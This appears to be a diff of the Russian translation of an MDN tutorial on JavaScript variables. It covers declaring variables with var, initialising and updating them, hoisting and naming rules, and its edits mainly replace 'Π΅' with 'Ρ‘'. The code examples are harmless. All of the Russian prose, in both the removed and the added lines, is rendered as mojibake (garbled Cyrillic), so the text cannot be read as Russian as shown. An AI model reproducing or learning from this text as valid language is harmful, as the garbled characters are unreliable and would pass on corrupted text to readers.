+<p>Π’Π°ΠΌ сСйчас Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ ΡΠΈΠ½Ρ‚Π°ΠΊΡΠΈΡ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ (ΠΏΠΎΠΊΠ°!), Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ идСю: Ссли Π±Ρ‹ Ρƒ нас Π½Π΅ Π±Ρ‹Π»ΠΎ доступных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π½Π°ΠΌ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ гигантский Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ провСрял, ΠΊΠ°ΠΊΠΎΠ΅ имя Π±Ρ‹Π»ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π» ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ сообщСниС для этого ΠΈΠΌΠ΅Π½ΠΈ. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это нСэффСктивно (ΠΊΠΎΠ΄ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС, Π΄Π°ΠΆΠ΅ для Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²), ΠΈ ΠΎΠ½ просто Π½Π΅ сработаСт, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ всС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹.</p>
<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ смысл, ΠΈ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΎ JavaScript, ΠΎΠ½ΠΈ Π½Π°Ρ‡Π½ΡƒΡ‚ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π½Π°Ρ‚ΡƒΡ€ΠΎΠΉ.</p>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ практичСски всС, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ строки ΠΈ числа. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ слоТныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Π΄Π°ΠΆΠ΅ Ρ†Π΅Π»Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Об этом Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΏΡ€ΠΈ дальнСйшСм ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ курса..</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ практичСски всС, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ строки ΠΈ числа. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ слоТныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Π΄Π°ΠΆΠ΅ Ρ†Π΅Π»Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Об этом Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΏΡ€ΠΈ дальнСйшСм ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ курса..</p>
<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅: ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ содСрТат значСния. Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ самими значСниями; ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° малСнькиС ΠΊΠ°Ρ€Ρ‚ΠΎΠ½Π½Ρ‹Π΅ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π²Π΅Ρ‰ΠΈ.</p>
@@ -76,12 +76,12 @@ if (name === 'Адам') {
<h2 id="ОбъявлСниС_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ">ОбъявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π²Ρ‹ сначала Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΅Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ, ΠΈΠ»ΠΈ, Ссли Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Π΅Π΅, ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, ΠΌΡ‹ Π²Π²ΠΎΠ΄ΠΈΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово var, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ своСй ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π²Ρ‹ сначала Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΅Ρ‘ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ, ΠΈΠ»ΠΈ, Ссли Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Π΅Π΅, ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, ΠΌΡ‹ Π²Π²ΠΎΠ΄ΠΈΠΌ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово var, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ своСй ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ:</p>
<pre class="brush: js notranslate">var myName;
var myAge;</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаСм Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ myName ΠΈ myAge. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти эти строки сСйчас Π² консоли вашСго Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ Π² консоли Π½ΠΈΠΆΠ΅ (ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ эту консоль Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅). ПослС этого ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ (ΠΈΠ»ΠΈ Π΄Π²Π΅) с вашими ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаём Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ myName ΠΈ myAge. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти эти строки сСйчас Π² консоли вашСго Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ Π² консоли Π½ΠΈΠΆΠ΅ (ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ эту консоль Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅). ПослС этого ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ (ΠΈΠ»ΠΈ Π΄Π²Π΅) с вашими ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ.</p>
<div class="hidden">
<h6 id="Hidden_code">Hidden code</h6>
@@ -199,7 +199,7 @@ var myAge;</pre>
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π² JavaScript всС инструкции ΠΊΠΎΠ΄Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой (;) - ваш ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… строк, Π½ΠΎ, вСроятно, Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ нСсколько строк ΠΊΠΎΠ΄Π° вмСстС. ΠŸΠΎΠΏΡ‹Ρ‚Π°ΠΉΡ‚Π΅ΡΡŒ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ написаниС Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой Π² ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΡƒ.</p>
</div>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ,Β ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π»ΠΈ эти значСния Π² срСдС выполнСния. Для этого Π²Π²Π΅Π΄Π΅ΠΌΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ,Β ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π»ΠΈ эти значСния Π² срСдС выполнСния. Для этого Π²Π²Π΅Π΄Ρ‘ΠΌΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</p>
<pre class="brush: js notranslate">myName;
myAge;</pre>
@@ -231,7 +231,7 @@ myAge;</pre>
<p>Π‘ΠΊΠΎΡ€Π΅Π΅ всСго, Ρ‚Π°ΠΊΒ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒΒ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ запись ΠΈ выполнСния ΠΊΠΎΠ΄Π° с ΠΎΠ΄Π½ΠΎ строки происходит быстрСС, Ρ‡Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΄Π²ΡƒΡ… дСйствий Π½Π° Π΄Π²ΡƒΡ… ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… строках.</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Если Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎΡΡ‚Ρ€ΠΎΡ‡Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ JavaScript, которая ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ (Π·Π°Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅) ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Π΅Π΅ послС Π΅Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΈ ΠΎΠ½Π° всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ объявлСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. Π­Ρ‚ΠΎ называСтся <strong>hoistingΒ </strong>- ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a> для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎ этому вопросу.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Если Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎΡΡ‚Ρ€ΠΎΡ‡Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ JavaScript, которая ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ (Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅) ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Π΅Ρ‘ послС Π΅Ρ‘ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΈ ΠΎΠ½Π° всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ объявлСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. Π­Ρ‚ΠΎ называСтся <strong>hoistingΒ </strong>- ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a> для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎ этому вопросу.</p>
</div>
<h2 id="ОбновлСниС_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ">ОбновлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ</h2>
@@ -247,19 +247,19 @@ myAge = 40;</pre>
<ul>
<li>НС рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅Β Π΄Ρ€ΡƒΠ³ΠΈΡ… символов, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ошибки ΠΈΠ»ΠΈ Π±Ρ‹Ρ‚ΡŒ нСпонятными для ΠΌΠ΅ΠΆΠ΄ΡƒΠ½Π°Ρ€ΠΎΠ΄Π½ΠΎΠΉ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠΈ.</li>
- <li>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ символы подчСркивания Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… - это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… конструкциях JavaScript для обозначСния ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… Π²Π΅Ρ‰Π΅ΠΉ.</li>
- <li>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ числа Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ нСдопустимо ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС.</li>
- <li>ΠžΠ±Ρ‰Π΅ΠΏΡ€ΠΈΠ½ΡΡ‚ΠΎ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"lower camel case"</a>, Π³Π΄Π΅ Π²Ρ‹ склСиваСтС нСсколько слов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ строчныС Π±ΡƒΠΊΠ²Ρ‹ для всСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ слова, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π³Π»Π°Π²Π½Ρ‹Π΅ Π±ΡƒΠΊΠ²Ρ‹ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… слов. ΠœΡ‹ использовали это для Π½Π°ΡˆΠΈΡ… ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.</li>
+ <li>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ символы подчёркивания Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… - это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… конструкциях JavaScript для обозначСния ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… Π²Π΅Ρ‰Π΅ΠΉ.</li>
+ <li>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ числа Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ нСдопустимо ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС.</li>
+ <li>ΠžΠ±Ρ‰Π΅ΠΏΡ€ΠΈΠ½ΡΡ‚ΠΎ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"lower camel case"</a>, Π³Π΄Π΅ Π²Ρ‹ склСиваСтС нСсколько слов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ строчныС Π±ΡƒΠΊΠ²Ρ‹ для всСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ слова, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π³Π»Π°Π²Π½Ρ‹Π΅ Π±ΡƒΠΊΠ²Ρ‹ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… слов. ΠœΡ‹ использовали это для Π½Π°ΡˆΠΈΡ… ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.</li>
<li>Π”Π΅Π»Π°ΠΉΡ‚Π΅ ΠΈΠΌΠ΅Π½Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Ρ‚Π°ΠΊΠΈΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»ΠΎ ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎ понятно, ΠΊΠ°ΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΠ½ΠΈ содСрТат. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π±ΡƒΠΊΠ²Ρ‹ / Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΈΠ»ΠΈ большиС Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ Ρ„Ρ€Π°Π·Ρ‹.</li>
<li>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΊ рСгистру, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ <code>myage</code>Β ΠΈ <code>myAge</code>Β - Ρ€Π°Π·Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅.</li>
